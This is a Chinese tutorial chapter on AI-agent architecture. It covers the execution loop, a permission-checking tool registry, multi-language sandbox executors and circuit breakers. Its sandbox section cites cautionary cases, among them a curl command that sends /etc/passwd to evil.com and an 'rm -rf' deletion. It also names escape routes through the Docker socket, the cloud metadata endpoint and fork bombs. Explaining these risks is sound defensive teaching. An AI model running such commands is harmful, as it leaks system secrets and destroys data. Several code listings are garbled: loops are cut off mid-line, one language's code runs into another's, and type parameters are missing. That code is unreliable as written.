6894 字
约 22 分钟
1
第8章 Agent运行时-Loop引擎与沙箱
2026-09-18
第8章 Agent运行时-Loop引擎与沙箱
来源：https://ai-agent-guide.xiaofuge.cn/chapters/ch21-loop-runtime-sandbox.html 所属：第二篇-Agent的大脑
从执行循环到安全沙箱——大脑的工程化基础设施
8.1 概述：三层嵌套架构
现代 AI Agent 系统从用户意图到最终结果的完整生命周期，由三个相互嵌套的核心概念共同承载： 🔄 Agent Loop（智能体执行循环）
LLM 驱动的感知→推理→规划→执行→观察→评估的6步循环。决定 Agent 做什么——如何决策、迭代和自我纠正。 ⚙️ Runtime（智能体运行时）
为 Loop 提供工具调用、记忆管理、多 Agent 协作、可观测性等基础设施。决定 Agent 怎么做——把逻辑语义转化为可执行计算。
🔒 Sandbox（安全执行沙箱）
在代码执行、工具调用等不可信行为发生前，提供进程/容器/虚拟机级别的隔离保护。决定 Agent 在哪里做、在什么约束下做。
8.1.1 三层嵌套关系
三者呈现严格的嵌套关系——Sandbox 在最外层（所有 Agent 行为最终都在某个隔离环境中执行），Runtime 在中间层（为 Loop 提供运行所需的一切基础设施），Agent Loop 在最内层（是 Runtime 中的一个逻辑循环，调用工具和 LLM）。 💡 一句话记忆
Agent Loop 定义做什么，Runtime 定义怎么做，Sandbox 定义在哪里做及在什么约束下做。三者共同构成一个既自主又安全的 AI Agent 系统。
8.2 Agent Loop——智能体执行循环
Agent Loop 是整个系统的"大脑"。传统软件是"输入一次、输出一次"，Agent 则通过不断循环，逐步逼近目标。每一次工具调用的结果都会触发下一轮推理——这就是事件驱动的本质。
8.2.1 六步执行流程
标准 Agent Loop 包含以下6个步骤： | 步骤 | 职责 | 典型输入 | 典型输出 | | --- | --- | --- | --- | | Perceive 感知 | 收集所有可用信息 | 用户消息、历史对话、环境状态 | 完整上下文 | | Reason 推理 | LLM 分析当前状态 | 完整上下文 + System Prompt | 下一步行动决策 | | Plan 规划 | 将任务分解为可执行步骤 | 行动决策 | 工具调用序列 | | Act 执行 | 调用工具/API执行操作 | 工具名称 + 参数 | 工具返回结果 | | Observe 观察 | 收集执行结果，更新上下文 | 工具返回结果 | 更新的对话历史 | | Evaluate 评估 | 判断是否完成或继续 | 更新后的上下文 | Final Answer 或继续循环 | ### 8.2.2 Loop 模式对比
不同的 Agent 框架采用了不同的循环策略： | 模式 | 核心思路 | 优势 | 劣势 | 典型框架 | | --- | --- | --- | --- | --- | | ReAct | 推理+行动交替循环 | 灵活、可解释 | 每轮都调LLM，Token消耗大 | LangChain ReAct | | ReWOO | 规划→执行→求解三阶段 | 减少LLM调用次数 | 规划不可动态调整 | ReWOO 论文 | | LLM Compiler | 并行执行多个工具 | 效率高、延迟低 | 依赖之间不可并行 | LangGraph | | Reflexion | 执行后反思，自我纠正 | 自我进化、持续改进 | 反思轮次可能过多 | Reflexion 论文 | ### 8.2.3 Agent Loop 实现
class AgentLoop:
"""最小化 Agent Loop——感知→推理→规划→执行→观察→评估"""
def __init__(self, llm, tools, memory, max_turns=20):
self.llm = llm
self.tools = {t.name: t for t in tools}
self.memory = memory
self.max_turns = max_turns
def run(self, user_input: str) -> str:
# Step 1: Perceive 感知——初始化上下文
messages = self.memory.load() + [{"role": "user", "content": user_input}]
for turn in range(self.max_turns):
# Step 2+3: Reason+Plan 推理与规划——LLM 决策
response = self.llm.chat(messages, tools=list(self.tools.values()))
# Step 6: Evaluate 评估——判断是否完成
if response.finish_reason == "stop":
self.memory.save(messages + [response.message])
return response.content # Final Answer
# Step 4: Act 执行——调用工具（在 Sandbox 内）
messages.append(response.message)
for call in response.tool_calls:
tool = self.tools[call.name]
result = tool.execute(call.args) # → Sandbox
# Step 5: Observe 观察——注入结果
messages.append({
"role": "tool",
"tool_call_id": call.id,
"content": str(result),
})
raise RuntimeError(f"超过最大迭代次数 {self.max_turns}")
interface ToolCall {
name: string;
args: Record;
id: string;
}
interface LLMResponse {
finishReason: "stop" | "tool_call";
content: string;
toolCalls: ToolCall[];
message: Record;
}
class AgentLoop {
private tools: Map = new Map();
private maxTurns = 20;
async run(userInput: string): Promise {
// Step 1: Perceive 感知——初始化上下文
const messages = [...this.memory.load(), { role: "user", content: userInput }];
for (let turn = 0; turn tools;
private final Memory memory;
private final int maxTurns = 20;
public String run(String userInput) throws MaxTurnsExceeded {
// Step 1: Perceive 感知——初始化上下文
List messages = new ArrayList<>(memory.load());
messages.add(new Message("user", userInput));
for (int turn = 0; turn dict:
"""校验参数、权限后执行工具调用"""
# 1. 权限校验
if tool_name not in self.tools:
return {"error": f"工具 {tool_name} 不存在"}
allowed = self.permissions[tool_name]
if "*" not in allowed and caller_role not in allowed:
return {"error": f"角色 {caller_role} 无权调用 {tool_name}"}
# 2. 参数校验
schema = self.tools[tool_name]["parameters"]
for param_name, param_spec in schema.items():
if param_spec.get("required") and param_name not in args:
return {"error": f"缺少必需参数 {param_name}"}
# 3. 执行调用（委托 Sandbox）
result = self.tools[tool_name]"handler"
return {"result": result}
interface ToolDef {
name: string;
description: string;
parameters: Record;
handler: (args: Record) => Promise;
}
interface ParamSpec {
type: string;
required: boolean;
description?: string;
}
class ToolRegistry {
private tools: Map = new Map();
private permissions: Map = new Map();
register(name: string, description: string, parameters: Record,
handler: (args: Record) => Promise,
allowedRoles: string[] = ["*"]): void {
this.tools.set(name, { name, description, parameters, handler });
this.permissions.set(name, allowedRoles);
}
async validateAndCall(toolName: string, args: Record, callerRole = "user"): Promise> {
// 1. 权限校验
const tool = this.tools.get(toolName);
if (!tool) return { error: `工具 ${toolName} 不存在` };
const allowed = this.permissions.get(toolName)!;
if (!allowed.includes("*") && !allowed.includes(callerRole)) {
return { error: `角色 ${callerRole} 无权调用 ${toolName}` };
}
// 2. 参数校验
for (const [paramName, spec] of Object.entries(tool.parameters)) {
if (spec.required && !(paramName in args)) {
return { error: `缺少必需参数 ${paramName}` };
}
}
// 3. 执行调用（委托 Sandbox）
const result = await tool.handler(args);
return { result };
}
}
type ToolDef struct {
Name string
Description string
Parameters map[string]ParamSpec
Handler func(map[string]interface{}) (interface{}, error)
}
type ParamSpec struct {
Type string
Required bool
Description string
}
type ToolRegistry struct {
tools map[string]ToolDef
permissions map[string][]string // tool -> allowed roles
}
func (tr *ToolRegistry) Register(name, desc string, params map[string]ParamSpec,
handler func(map[string]interface{}) (interface{}, error), allowedRoles []string) {
if len(allowedRoles) == 0 {
allowedRoles = []string{"*"}
}
tr.tools[name] = ToolDef{name, desc, params, handler}
tr.permissions[name] = allowedRoles
}
func (tr *ToolRegistry) ValidateAndCall(toolName string, args map[string]interface{}, callerRole string) map[string]interface{} {
// 1. 权限校验
tool, ok := tr.tools[toolName]
if !ok {
return map[string]interface{}{"error": fmt.Sprintf("工具 %s 不存在", toolName)}
}
allowed := tr.permissions[toolName]
hasAccess := false
for _, role := range allowed {
if role == "*" || role == callerRole {
hasAccess = true
break
}
}
if !hasAccess {
return map[string]interface{}{"error": fmt.Sprintf("角色 %s 无权调用 %s", callerRole, toolName)}
}
// 2. 参数校验
for paramName, spec := range tool.Parameters {
if spec.Required {
if _, exists := args[paramName]; !exists {
return map[string]interface{}{"error": fmt.Sprintf("缺少必需参数 %s", paramName)}
}
}
}
// 3. 执行调用（委托 Sandbox）
result, err := tool.Handler(args)
if err != nil {
return map[string]interface{}{"error": err.Error()}
}
return map[string]interface{}{"result": result}
}
public class ToolRegistry {
private final Map tools = new HashMap<>();
private final Map> permissions = new HashMap<>();
public void register(String name, String description, Map parameters,
Function, Object> handler, List allowedRoles) {
if (allowedRoles == null || allowedRoles.isEmpty()) {
allowedRoles = List.of("*");
}
tools.put(name, new ToolDef(name, description, parameters, handler));
permissions.put(name, allowedRoles);
}
public Map validateAndCall(String toolName, Map args, String callerRole) {
// 1. 权限校验
ToolDef tool = tools.get(toolName);
if (tool == null) return Map.of("error", "工具 " + toolName + " 不存在");
List allowed = permissions.get(toolName);
boolean hasAccess = allowed.contains("*") || allowed.contains(callerRole);
if (!hasAccess) return Map.of("error", "角色 " + callerRole + " 无权调用 " + toolName);
// 2. 参数校验
for (Map.Entry entry : tool.parameters.entrySet()) {
if (entry.getValue().required && !args.containsKey(entry.getKey())) {
return Map.of("error", "缺少必需参数 " + entry.getKey());
}
}
// 3. 执行调用（委托 Sandbox）
Object result = tool.handler.apply(args);
return Map.of("result", result);
}
}
8.3.3 主流框架对比 | 框架 | 核心思路 | Loop 模式 | 记忆管理 | 工具生态 | | --- | --- | --- | --- | --- | | LangChain | 链式组合、模块化 | ReAct + 自定义 | 短期/长期/工作记忆 | 200+内置工具 + MCP | | AutoGen | 多 Agent 对话协作 | 对话式循环 | 对话历史压缩 | 自定义 + 代码执行 | | CrewAI | 角色扮演、流程编排 | 顺序/并行/层级 | 短期记忆 | 工具定义装饰器 | | OpenAI Agents SDK | 轻量级、Handoff 交接 | 单 Agent 循环 | 对话历史 | Function Calling | | Google ADK | 端到端、多模态 | ReAct + 反思 | 内置记忆模块 | Google 工具生态 | ✅ 选型建议
构建企业级 Agent 或多智能体协作应用，推荐使用 Google ADK（Agent Development Kit）。它提供原生的多智能体编排能力、内置丰富的 Google 工具生态（Search、Maps、Vertex AI 等）以及清晰的异步工作流，更适合工程化落地。需要多 Agent 协作也可考虑 AutoGen 或 CrewAI；追求轻量可选 OpenAI Agents SDK；常规场景 LangChain 生态也能覆盖。
8.4 Sandbox——安全执行沙箱
AI Agent 的核心能力之一是执行代码——这带来了巨大的安全风险。LLM 有时会生成恶意代码、无限循环、文件删除命令或网络扫描脚本。如果没有 Sandbox，这些代码将直接在主机环境执行，可能造成不可逆破坏。
8.4.1 为何需要 Sandbox
⚠️ 没有 Sandbox 的真实案例
案例1：用户让 Agent "帮我清理临时文件"，Agent 生成 rm -rf /tmp/*，结果误删了重要的运行时数据。
案例2：Agent 在分析数据时生成 while True: pass，CPU 100%占用，导致整个服务瘫痪。
案例3：Agent 执行了 curl http://evil.com/exfiltrate?data=$(cat /etc/passwd)，将系统敏感信息发送到外部。
8.4.2 隔离技术全景 | 隔离级别 | 技术方案 | 隔离强度 | 启动速度 | 适用场景 | | --- | --- | --- | --- | --- | | 进程级 | subprocess + 资源限制（ulimit/cgroups） | 🟡 低 | ⚡ 毫秒 | 简单代码执行、快速验证 | | 容器级 | Docker / gVisor / Podman | 🟢 中 | ⚡ 秒级 | Web 应用、API 服务、多租户 | | 微虚拟机 | Firecracker / Kata Containers | 🔴 高 | ⏱ 125ms~秒级 | 金融/医疗等高安全场景 | | WebAssembly | WASM Runtime（Wasmtime/Wasmer） | 🟢 中 | ⚡ 毫秒 | 浏览器端执行、轻量计算 | | 云沙箱 | E2B / Modal / Daytona / CubeSandbox | 🟢 中高 | ⚡ 秒级（托管） | 不想自建沙箱的开发者 | ### 8.4.3 Sandbox 执行器实现
import subprocess
import resource
import json
import os
class SandboxExecutor:
"""进程级 Sandbox——限制资源、隔离网络、审计日志"""
SANDBOX_CONFIG = {
"code_execution": {
"max_cpu_seconds": 30,
"max_memory_mb": 512,
"max_output_bytes": 100_000,
"network_disabled": True,
"allowed_paths": ["/tmp/sandbox"],
},
"web_search": {
"network_disabled": False,
"max_cpu_seconds": 10,
},
}
def execute_in_sandbox(self, skill_name: str, tool_name: str,
code: str, timeout: int = 30) -> dict:
"""在 Sandbox 中执行代码"""
config = self.SANDBOX_CONFIG.get(skill_name, self.SANDBOX_CONFIG["code_execution"])
# 写入临时文件
tmp_path = f"/tmp/sandbox/{os.getpid()}_{tool_name}.py"
with open(tmp_path, "w") as f:
f.write(code)
try:
# 设置资源限制 + 网络隔离
result = subprocess.run(
["python3", tmp_path],
timeout=min(timeout, config["max_cpu_seconds"]),
capture_output=True,
text=True,
env={"PATH": "/usr/bin", "HOME": "/tmp/sandbox"}, # 最小环境
)
return {"stdout": result.stdout[:config["max_output_bytes"]],
"stderr": result.stderr, "exit_code": result.returncode}
except subprocess.TimeoutExpired:
return {"error": f"执行超时（{timeout}s）"}
finally:
os.unlink(tmp_path) # 清理
import { spawn } from "child_process";
import { writeFileSync, unlinkSync } from "fs";
interface SandboxConfig {
maxCpuSeconds: number;
maxMemoryMb: number;
maxOutputBytes: number;
networkDisabled: boolean;
allowedPaths: string[];
}
class SandboxExecutor {
private readonly SANDBOX_CONFIG: Record = {
code_execution: {
maxCpuSeconds: 30, maxMemoryMb: 512,
maxOutputBytes: 100_000, networkDisabled: true,
allowedPaths: ["/tmp/sandbox"],
},
web_search: {
maxCpuSeconds: 10, maxMemoryMb: 256,
maxOutputBytes: 10_000, networkDisabled: false,
allowedPaths: ["/tmp/sandbox"],
},
};
async executeInSandbox(skillName: string, toolName: string,
code: string, timeout = 30): Promise> {
const config = this.SANDBOX_CONFIG[skillName] ?? this.SANDBOX_CONFIG["code_execution"];
const tmpPath = `/tmp/sandbox/${process.pid}_${toolName}.js`;
writeFileSync(tmpPath, code);
try {
const result = await new Promise>((resolve) => {
const child = spawn("node", [tmpPath], {
timeout: Math.min(timeout, config.maxCpuSeconds) * 1000,
env: { PATH: "/usr/bin", HOME: "/tmp/sandbox" },
});
let stdout = "", stderr = "";
child.stdout.on("data", (d: Buffer) => stdout += d.toString().slice(0, config.maxOutputBytes));
child.stderr.on("data", (d: Buffer) => stderr += d.toString());
child.on("close", (code: number) => resolve({ stdout, stderr, exitCode: code }));
child.on("error", (err: Error) => resolve({ error: err.message }));
});
return result;
} catch (err: unknown) {
return { error: `执行超时（${timeout}s）` };
} finally {
unlinkSync(tmpPath);
}
}
}
import (
"os"
"os/exec"
"time"
)
type SandboxConfig struct {
MaxCpuSeconds int
MaxMemoryMB int
MaxOutputBytes int
NetworkDisabled bool
AllowedPaths []string
}
type SandboxExecutor struct {
SandboxConfig map[string]SandboxConfig
}
func NewSandboxExecutor() *SandboxExecutor {
return &SandboxExecutor{
SandboxConfig: map[string]SandboxConfig{
"code_execution": {MaxCpuSeconds: 30, MaxMemoryMB: 512, MaxOutputBytes: 100000, NetworkDisabled: true, AllowedPaths: []string{"/tmp/sandbox"}},
"web_search": {MaxCpuSeconds: 10, MaxMemoryMB: 256, MaxOutputBytes: 10000, NetworkDisabled: false, AllowedPaths: []string{"/tmp/sandbox"}},
},
}
}
func (s *SandboxExecutor) ExecuteInSandbox(skillName, toolName, code string, timeout int) map[string]interface{} {
config, ok := s.SandboxConfig[skillName]
if !ok {
config = s.SandboxConfig["code_execution"]
}
if timeout > config.MaxCpuSeconds {
timeout = config.MaxCpuSeconds
}
// 写入临时文件
tmpPath := fmt.Sprintf("/tmp/sandbox/%d_%s.py", os.Getpid(), toolName)
os.WriteFile(tmpPath, []byte(code), 0644)
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeout)*time.Second)
defer cancel()
cmd := exec.CommandContext(ctx, "python3", tmpPath)
cmd.Env = []string{"PATH=/usr/bin", "HOME=/tmp/sandbox"}
output, err := cmd.CombinedOutput()
os.Remove(tmpPath) // 清理
if err != nil {
if ctx.Err() == context.DeadlineExceeded {
return map[string]interface{}{"error": fmt.Sprintf("执行超时（%ds）", timeout)}
}
return map[string]interface{}{"error": err.Error(), "stderr": string(output)}
}
return map[string]interface{}{"stdout": string(output[:min(len(output), config.MaxOutputBytes)])}
}
import java.io.*;
import java.util.*;
import java.util.concurrent.*;
public class SandboxExecutor {
private final Map sandboxConfig = Map.of(
"code_execution", new SandboxConfig(30, 512, 100_000, true, List.of("/tmp/sandbox")),
"web_search", new SandboxConfig(10, 256, 10_000, false, List.of("/tmp/sandbox"))
);
public Map executeInSandbox(String skillName, String toolName,
String code, int timeout) {
SandboxConfig config = sandboxConfig.getOrDefault(skillName, sandboxConfig.get("code_execution"));
timeout = Math.min(timeout, config.maxCpuSeconds);
String tmpPath = String.format("/tmp/sandbox/%d_%s.py", ProcessHandle.current().pid(), toolName);
try {
Files.writeString(Path.of(tmpPath), code);
} catch (IOException e) {
return Map.of("error", "写入临时文件失败");
}
ProcessBuilder pb = new ProcessBuilder("python3", tmpPath);
pb.environment().put("PATH", "/usr/bin");
pb.environment().put("HOME", "/tmp/sandbox");
pb.redirectErrorStream(true);
try {
Process proc = pb.start();
boolean finished = proc.waitFor(timeout, TimeUnit.SECONDS);
if (!finished) {
proc.destroyForcibly();
return Map.of("error", String.format("执行超时（%ds）", timeout));
}
String output = new String(proc.getInputStream().readAllBytes(), StandardCharsets.UTF_8);
return Map.of("stdout", output.substring(0, Math.min(output.length(), config.maxOutputBytes)),
"exitCode", proc.exitValue());
} catch (Exception e) {
return Map.of("error", e.getMessage());
} finally {
Files.deleteIfExists(Path.of(tmpPath));
}
}
}
8.4.4 Sandbox Escape 风险与防御
⚠️ 常见 Sandbox 逃逸路径
- Docker Socket 暴露：容器内访问
/var/run/docker.sock，可直接创建特权容器逃逸 - 云元数据 API：访问
169.254.169.254，获取云厂商 IAM 凭证 - 内核漏洞：容器共享宿主机内核，内核漏洞可被利用逃逸
- 资源耗尽：fork bomb、内存炸弹耗尽宿主机资源 🛡️ 黄金法则：最小权限原则
Agent Sandbox 应遵循默认拒绝一切，按需开白原则。
绝对不能暴露给 Sandbox 的资源：宿主机 Docker Socket、云厂商元数据 API、内网服务发现端口、SSH 私钥目录。
8.5 三者协同：完整协作流程
在真实的 Agent 系统中，Loop、Runtime 和 Sandbox 是紧密耦合的：Loop 调度 Runtime，Runtime 委托 Sandbox 执行不可信代码。以下是一次典型的"写代码→运行→修复"任务的完整执行路径：
8.5.1 Loop + Runtime + Sandbox 集成实现
class SecureAgent:
"""完整集成：AgentLoop + Runtime（ToolRegistry + Memory） + SandboxExecutor"""
def __init__(self, llm, sandbox: SandboxExecutor):
self.loop = AgentLoop(llm, tools=[], memory=InMemoryMemory(), max_turns=10)
self.registry = ToolRegistry()
self.sandbox = sandbox
# 注册工具：代码生成（在 Sandbox 中执行）
self.registry.register(
name="execute_code",
description="在安全沙箱中执行Python代码",
parameters={"code": {"type": "string", "required": True, "description": "Python代码"}},
handler=lambda args: self.sandbox.execute_in_sandbox(
"code_execution", "execute_code", args["code"]),
allowed_roles=["assistant"],
)
# 注册工具：搜索
self.registry.register(
name="web_search",
description="搜索网页内容",
parameters={"query": {"type": "string", "required": True}},
handler=lambda args: search_web(args["query"]),
allowed_roles=["*"],
)
self.loop.tools = self.registry.tools
def run(self, user_input: str) -> str:
"""运行完整的 Agent 系统"""
return self.loop.run(user_input)
class SecureAgent {
private loop: AgentLoop;
private registry: ToolRegistry;
private sandbox: SandboxExecutor;
constructor(llm: LLMClient, sandbox: SandboxExecutor) {
this.loop = new AgentLoop(llm, [], new InMemoryMemory(), 10);
this.registry = new ToolRegistry();
this.sandbox = sandbox;
// 注册工具：代码生成（在 Sandbox 中执行）
this.registry.register(
"execute_code",
"在安全沙箱中执行代码",
{ code: { type: "string", required: true, description: "代码" } },
async (args) => this.sandbox.executeInSandbox("code_execution", "execute_code", args.code as string),
["assistant"],
);
// 注册工具：搜索
this.registry.register(
"web_search",
"搜索网页内容",
{ query: { type: "string", required: true } },
async (args) => searchWeb(args.query as string),
["*"],
);
}
async run(userInput: string): Promise {
return this.loop.run(userInput);
}
}
type SecureAgent struct {
loop *AgentLoop
registry *ToolRegistry
sandbox *SandboxExecutor
}
func NewSecureAgent(llm LLMClient, sandbox *SandboxExecutor) *SecureAgent {
registry := NewToolRegistry()
// 注册工具：代码生成（在 Sandbox 中执行）
registry.Register("execute_code", "在安全沙箱中执行代码",
map[string]ParamSpec{"code": {Type: "string", Required: true}},
func(args map[string]interface{}) (interface{}, error) {
code, _ := args["code"].(string)
result := sandbox.ExecuteInSandbox("code_execution", "execute_code", code, 30)
return result, nil
},
[]string{"assistant"},
)
// 注册工具：搜索
registry.Register("web_search", "搜索网页内容",
map[string]ParamSpec{"query": {Type: "string", Required: true}},
func(args map[string]interface{}) (interface{}, error) {
query, _ := args["query"].(string)
return SearchWeb(query), nil
},
[]string{"*"},
)
loop := &AgentLoop{llm: llm, tools: registry.tools, memory: NewInMemoryMemory(), maxTurns: 10}
return &SecureAgent{loop, registry, sandbox}
}
func (sa *SecureAgent) Run(userInput string) (string, error) {
return sa.loop.Run(userInput)
}
public class SecureAgent {
private final AgentLoop loop;
private final ToolRegistry registry;
private final SandboxExecutor sandbox;
public SecureAgent(LLMClient llm, SandboxExecutor sandbox) {
this.registry = new ToolRegistry();
this.sandbox = sandbox;
// 注册工具：代码生成（在 Sandbox 中执行）
registry.register("execute_code", "在安全沙箱中执行代码",
Map.of("code", new ParamSpec("string", true, "代码")),
args => sandbox.executeInSandbox("code_execution", "execute_code",
(String) args.get("code"), 30),
List.of("assistant"));
// 注册工具：搜索
registry.register("web_search", "搜索网页内容",
Map.of("query", new ParamSpec("string", true, "搜索关键词")),
args => searchWeb((String) args.get("query")),
List.of("*"));
this.loop = new AgentLoop(llm, registry.getToolsMap(), new InMemoryMemory(), 10);
}
public String run(String userInput) throws MaxTurnsExceeded {
return loop.run(userInput);
}
}
8.5.2 职责边界 | 问题 | 负责方 | 具体做法 | | --- | --- | --- | | Agent 该做什么决策？ | Agent Loop | LLM 推理决定下一步行动 | | 工具参数是否合法？ | Runtime 工具注册层 | 校验参数类型、值域、必填项 | | 调用是否有权限？ | Runtime 权限控制层 | 角色权限矩阵 + 审批机制 | | 代码在哪里执行？ | Sandbox | 创建隔离环境、限制资源 | | 执行超时怎么办？ | Sandbox | 设置超时上限，超时自动终止 | | 历史对话太长怎么办？ | Runtime 记忆管理层 | 滑动窗口压缩 + 摘要替代 | | 工具调用日志在哪看？ | Runtime 可观测层 | OpenTelemetry + Dashboard | | Agent 陷入死循环？ | Agent Loop + Runtime | Loop 设置 max_turns，Runtime 设置熔断 | ## 8.6 Agent Loop 稳定性设计
7.2.4 介绍了 Loop 的设计陷阱,但生产环境中 Agent Loop 面临的稳定性挑战远不止死循环和 Token 爆炸。本节基于 WaLiCode 项目的真实生产经验,讲解 Agent Loop 稳定性的五大保障机制。
8.6.1 上下文溢出熔断
当上下文压缩系统（参见第6章 5.12）也无法阻止 Context 增长时,Loop 必须有熔断机制——宁可终止任务,也不能让 Context 溢出导致 API 报错或输出质量崩溃。
class LoopCircuitBreaker:
"""Agent Loop 熔断器"""
def __init__(self):
self.max_turns = 20 # 最大轮次
self.max_context_tokens = 120000 # Context 上限（留 20% 安全余量）
self.max_tool_errors = 3 # 同一工具连续失败上限
self.max_total_errors = 5 # 全局错误上限
self.max_cost_usd = 5.0 # 单任务成本上限
def check(self, state) -> tuple[bool, str]:
"""返回 (是否熔断, 原因)"""
if state.turn >= self.max_turns:
return True, f"超过最大轮次 {self.max_turns}"
if state.context_tokens > self.max_context_tokens:
return True, f"Context 超过熔断阈值 {self.max_context_tokens}"
if state.consecutive_tool_errors >= self.max_tool_errors:
return True, f"工具连续失败 {self.max_tool_errors} 次"
if state.total_errors >= self.max_total_errors:
return True, f"全局错误累计 {self.max_total_errors} 次"
if state.cost_usd >= self.max_cost_usd:
return True, f"任务成本超过 ${self.max_cost_usd}"
return False, ""
def handle_circuit_break(self, reason: str, state):
"""熔断时的处理逻辑"""
print(f"⚠️ Agent Loop 熔断: {reason}")
# 1. 保存当前状态（用于恢复）
state.save_checkpoint()
# 2. 通知用户
return {
"status": "circuit_broken",
"reason": reason,
"turn": state.turn,
"checkpoint_id": state.checkpoint_id,
"suggestion": "任务已暂停,可从 checkpoint 恢复或调整参数后重试"
}
class LoopCircuitBreaker {
maxTurns = 20;
maxContextTokens = 120000;
maxToolErrors = 3;
maxTotalErrors = 5;
maxCostUsd = 5.0;
check(state: LoopState): [boolean, string] {
if (state.turn >= this.maxTurns)
return [true, `超过最大轮次 ${this.maxTurns}`];
if (state.contextTokens > this.maxContextTokens)
return [true, `Context 超过熔断阈值 ${this.maxContextTokens}`];
if (state.consecutiveToolErrors >= this.maxToolErrors)
return [true, `工具连续失败 ${this.maxToolErrors} 次`];
if (state.totalErrors >= this.maxTotalErrors)
return [true, `全局错误累计 ${this.maxTotalErrors} 次`];
if (state.costUsd >= this.maxCostUsd)
return [true, `任务成本超过 $${this.maxCostUsd}`];
return [false, ''];
}
handleCircuitBreak(reason: string, state: LoopState) {
console.warn(`⚠️ Agent Loop 熔断: ${reason}`);
state.saveCheckpoint();
return {
status: 'circuit_broken',
reason,
turn: state.turn,
checkpointId: state.checkpointId,
suggestion: '任务已暂停,可从 checkpoint 恢复'
};
}
}
package main
import "fmt"
// LoopCircuitBreaker Agent Loop 熔断器
type LoopCircuitBreaker struct {
MaxTurns int
MaxContextTokens int
MaxToolErrors int
MaxTotalErrors int
MaxCostUSD float64
}
// LoopState Loop 状态
type LoopState struct {
Turn int
ContextTokens int
ConsecutiveToolErrors int
TotalErrors int
CostUSD float64
CheckpointID string
}
// Check 检查是否需要熔断
func (cb *LoopCircuitBreaker) Check(state *LoopState) (bool, string) {
if state.Turn >= cb.MaxTurns {
return true, fmt.Sprintf("超过最大轮次 %d", cb.MaxTurns)
}
if state.ContextTokens > cb.MaxContextTokens {
return true, fmt.Sprintf("Context 超过熔断阈值 %d", cb.MaxContextTokens)
}
if state.ConsecutiveToolErrors >= cb.MaxToolErrors {
return true, fmt.Sprintf("工具连续失败 %d 次", cb.MaxToolErrors)
}
if state.TotalErrors >= cb.MaxTotalErrors {
return true, fmt.Sprintf("全局错误累计 %d 次", cb.MaxTotalErrors)
}
if state.CostUSD >= cb.MaxCostUSD {
return true, fmt.Sprintf("任务成本超过 $%.2f", cb.MaxCostUSD)
}
return false, ""
}
// HandleCircuitBreak 熔断处理
func (cb *LoopCircuitBreaker) HandleCircuitBreak(reason string, state *LoopState) map[string]interface{} {
fmt.Printf("⚠️ Agent Loop 熔断: %s\n", reason)
// state.SaveCheckpoint()
return map[string]interface{}{
"status": "circuit_broken",
"reason": reason,
"turn": state.Turn,
"checkpoint_id": state.CheckpointID,
"suggestion": "任务已暂停,可从 checkpoint 恢复",
}
}
func NewDefaultCircuitBreaker() *LoopCircuitBreaker {
return &LoopCircuitBreaker{
MaxTurns: 20,
MaxContextTokens: 120000,
MaxToolErrors: 3,
MaxTotalErrors: 5,
MaxCostUSD: 5.0,
}
}
class LoopCircuitBreaker {
int maxTurns = 20;
int maxContextTokens = 120000;
int maxToolErrors = 3;
int maxTotalErrors = 5;
double maxCostUsd = 5.0;
public CheckResult check(LoopState state) {
if (state.turn >= maxTurns)
return new CheckResult(true, "超过最大轮次 " + maxTurns);
if (state.contextTokens > maxContextTokens)
return new CheckResult(true, "Context 超过熔断阈值 " + maxContextTokens);
if (state.consecutiveToolErrors >= maxToolErrors)
return new CheckResult(true, "工具连续失败 " + maxToolErrors + " 次");
if (state.totalErrors >= maxTotalErrors)
return new CheckResult(true, "全局错误累计 " + maxTotalErrors + " 次");
if (state.costUsd >= maxCostUsd)
return new CheckResult(true, String.format("任务成本超过 $%.2f", maxCostUsd));
return new CheckResult(false, "");
}
public Map handleCircuitBreak(String reason, LoopState state) {
System.err.println("⚠️ Agent Loop 熔断: " + reason);
state.saveCheckpoint();
return Map.of(
"status", "circuit_broken",
"reason", reason,
"turn", state.turn,
"checkpointId", state.checkpointId,
"suggestion", "任务已暂停,可从 checkpoint 恢复"
);
}
}
class CheckResult {
boolean shouldBreak;
String reason;
CheckResult(boolean shouldBreak, String reason) {
this.shouldBreak = shouldBreak;
this.reason = reason;
}
}
8.6.2 对话状态恢复
熔断或异常中断后,用户可能想继续任务。WaLiCode 实现了Checkpoint 恢复机制——将 Loop 状态序列化存储,下次启动时反序列化恢复: | 状态项 | 存储内容 | 恢复策略 | | --- | --- | --- | | 对话历史 | 压缩后的消息列表 | 直接加载,不重新压缩 | | 工具调用记录 | 每个工具的调用参数和返回结果 | 加载到工作记忆,供 LLM 参考 | | 任务进度 | 当前步骤索引、已完成步骤、待完成步骤 | 从上次中断处继续执行 | | 上下文摘要 | 历史压缩生成的摘要 | 作为 system message 注入 | | 错误上下文 | 最后 N 个错误信息 | 注入上下文,避免重复犯错 | ### 8.6.3 心跳检测与空闲超时
Agent 在执行长任务时,用户可能已经离开。为避免浪费 Token 和算力,Loop 应实现心跳检测:
// 空闲超时配置
const IDLE_TIMEOUT_MS = 10 * 60 * 1000; // 10 分钟
// Loop 中心跳检测
let lastActivityTime = Date.now();
function checkHeartbeat() {
const idle = Date.now() - lastActivityTime;
if (idle > IDLE_TIMEOUT_MS) {
return {
action: 'pause',
reason: `空闲超过 ${IDLE_TIMEOUT_MS / 60000} 分钟,自动暂停`,
canResume: true
};
}
return { action: 'continue' };
}
// 用户交互时重置计时器
function onUserActivity() {
lastActivityTime = Date.now();
}
8.6.4 五大稳定性保障总结 | 保障机制 | 解决问题 | 关键参数 | 章节参考 | | --- | --- | --- | --- | | 上下文溢出熔断 | Context 无限增长导致 API 报错 | max_context_tokens = 120K | ch05 5.12 + 本节 | | 死循环检测 | 工具反复失败导致 Loop 卡死 | max_turns = 20, max_tool_errors = 3 | ch21 7.2.4 | | 压缩降级链 | 压缩失败导致历史丢失 | AI→规则→硬截断 | ch05 5.12.6 | | Checkpoint 恢复 | 中断后无法继续任务 | 状态序列化 + 反序列化 | 本节 | | 心跳检测 | 用户离开后 Agent 继续烧钱 | idle_timeout = 10min | ch04 4.13.6 + 本节 | 生产级 Agent Loop 的核心原则:宁可提前终止,不可带病运行。熔断不是失败,而是主动保护——保护用户的钱包、保护对话质量、保护系统稳定性。一个会"自己喊停"的 Agent,才是生产可用的 Agent。
📋 八股总结 — 面试高频考点
Q1: Agent Loop 的6步执行流程是什么？为什么是循环而不是一次生成？
6步：感知(Perceive) → 推理(Reason) → 规划(Plan) → 执行(Act) → 观察(Observe) → 评估(Evaluate)。
